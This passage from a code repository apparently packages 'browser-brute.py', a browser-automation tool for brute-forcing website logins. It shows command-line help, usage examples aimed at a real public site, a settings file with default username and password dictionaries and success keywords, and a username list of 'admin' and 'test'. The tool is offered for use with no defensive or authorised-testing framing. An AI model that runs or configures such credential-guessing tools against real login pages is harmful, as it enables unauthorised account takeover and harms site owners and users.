-us USER_CSS_SELECTOR, --user_css_selector USER_CSS_SELECTOR 147 | Specify the username attribute by css selector, handle Spaces 148 | -pi PASS_ID, --pass_id PASS_ID 149 | Specify the password attribute by id 150 | -pn PASS_NAME, --pass_name PASS_NAME 151 | Specify the password attribute by name 152 | -pc PASS_CLASS, --pass_class PASS_CLASS 153 | Specify the password attribute by class, No Spaces 154 | -ps PASS_CSS_SELECTOR, --pass_css_selector PASS_CSS_SELECTOR 155 | Specify the password attribute by css selector, handle Spaces 156 | -bi BUTTON_ID, --button_id BUTTON_ID 157 | Specify the login button attribute by id 158 | -bn BUTTON_NAME, --button_name BUTTON_NAME 159 | Specify the login button attribute by name 160 | -bc BUTTON_CLASS, --button_class BUTTON_CLASS 161 | Specify the login button attribute by class, No Spaces 162 | -bs BUTTON_CSS_SELECTOR, --button_css_selector BUTTON_CSS_SELECTOR 163 | Specify the button attribute by css selector, handle Spaces 164 | -ud USER_DICT, --user_dict USER_DICT 165 | Specify the login username dict 166 | -pd PASS_DICT, --pass_dict PASS_DICT 167 | Specify the login password dict 168 | -k KEYWORD, --keyword KEYWORD 169 | Specifies the keyword to match in the return message 170 | -bh BROWSER_HEADLESS, --browser_headless BROWSER_HEADLESS 171 | Specifies the Browser browser_headless, eg: True 172 | -bp BROWSER_PROXY, --browser_proxy BROWSER_PROXY 173 | Specifies the Browser Proxy IP for HTTP or HTTPS , eg: http://127.0.0.1:8080 174 | -bua BROWSER_USERAGENT, --browser_useragent BROWSER_USERAGENT 175 | Specifies the Browser UserAgent , eg: Mozilla/5.0 Version/4.0 176 | -bud BROWSER_USER_DIR, --browser_user_dir BROWSER_USER_DIR 177 | Specifies the Browser User Dir , eg: D: emp\Chrome User Data 178 | -bcp BROWSER_CHROME_PATH, --browser_chrome_path BROWSER_CHROME_PATH 179 | Specifies the Browser Chrome.exe Path , eg: C:\chrome\chrome.exe 180 | -bdp BROWSER_DRIVER_PATH, --browser_driver_path BROWSER_DRIVER_PATH 181 | Specifies the Browser Driver Path, eg: D: emp\chromedriver.exe 182 | -v, --version 显示程序当前版本号 183 | 184 | Examples: 185 | python3 browser-brute.py -lu http://www.baidu.com 186 | python3 browser-brute.py -lu http://www.baidu.com -p http://127.0.0.1:8080 187 | 188 | 其他控制细节参数请通过setting.py进行配置 189 | 190 | T00L Version: Ver 0.1.3 2022-03-23 13:30 191 | ``` 192 | 193 | 194 | 195 | # NEED STAR And ISSUE 196 | 197 | ``` 198 | 1、右上角点击Star支持更新. 199 | 2、ISSUE或NOVASEC提更新需求 200 | ``` 201 | 202 | ![NOVASEC](doc/NOVASEC.jpg) 203 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | pyfiglet 2 | selenium==4.2.0 # selenium >=3.141.0 and seleni<===4.2.0 3 | -------------------------------------------------------------------------------- /setting.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | import sys 4 | 5 | sys.dont_write_bytecode = True 6 | # 全局配置文件 7 | import pathlib 8 | from lib.DataType import config 9 | 10 | # 获取setting.py脚本所在路径作为的基本路径 11 | BASE_DIR = pathlib.Path(__file__).parent.resolve() 12 | 13 | # 版本号配置 14 | version = "Ver 0.1.5 2023-07-20 18:30" 15 | 16 | # 在配置文件中配置默认目标文件等参数 比cmd输入参数优先级低 一般作为默认参数使用 17 | # config.target = None 18 | # config.target_file = None 19 | 20 | # css_selector基本支持所有元素匹配 使用参考 https://blog.csdn.net/mshxuyi/article/details/103601705 21 | #######################浏览器默认配置####################### 22 | config.browser_chrome_path = r"chromePortable\Chrome\chrome.exe" 23 | config.browser_driver_path = r"chromedriver\chromedriver.exe" 24 | config.browser_proxy = None # http://127.0.0.1:8080 25 | config.browser_useragent = None 26 | config.browser_user_dir = None 27 | config.browser_headless = False 28 | #######################登录默认配置####################### 29 | # 登录页面配置 30 | config.login_url = None 31 | config.time_1 = None # time_1 32 | config.time_2 = None # time_2 33 | 34 | config.user_id = None # user_id 35 | config.user_name = None # user_name 36 | config.user_class = None # user_class class测试存在空格时,不支持 如'input_kuang_login fin fld-error' 37 | config.user_css_selector = None 38 | 39 | config.pass_id = None # pass_id 40 | config.pass_name = None # pass_name 41 | config.pass_class = None # pass_class 42 | config.pass_css_selector = None 43 | 44 | config.button_id = None # button_id 45 | config.button_name = None # button_name 46 | config.button_class = None # button_class 47 | config.button_css_selector = None 48 | 49 | # 字典配置 50 | config.user_dict = "username.txt" 51 | config.pass_dict = "password.txt" 52 | 53 | # 配置匹配网页关键字 # 两个匹配项目同时只有一个生效, 优先匹配 SUCCESS_KEY_LIST # 无需匹配可置为空 54 | # 匹配登录成功的关键字,一般就是success、登录成功等,为空时跳过 55 | SUCCESS_KEY_LIST = [] # ["登录成功", "success"] 56 | # 匹配登录失败关键字,一般就是 登录失败 、用户名或密码错误等,为空时跳过 57 | FAILURE_KEY_LIST = [] # ["登录失败", "用户名或密码错误"] 58 | 59 | # 设置结果文件名称 60 | RESULT_LOG_NAME = "Brute-Log.txt" 61 | RESULT_LOG_ENCODING = "utf-8" 62 | 63 | RESULT_FILE_NAME = "Brute-Result.csv" 64 | RESULT_FILE_ENCODING = "gb2312" 65 | ####################################################### 66 | -------------------------------------------------------------------------------- /username.txt: -------------------------------------------------------------------------------- 1 | admin 2 | test 3 | --------------------------------------------------------------------------------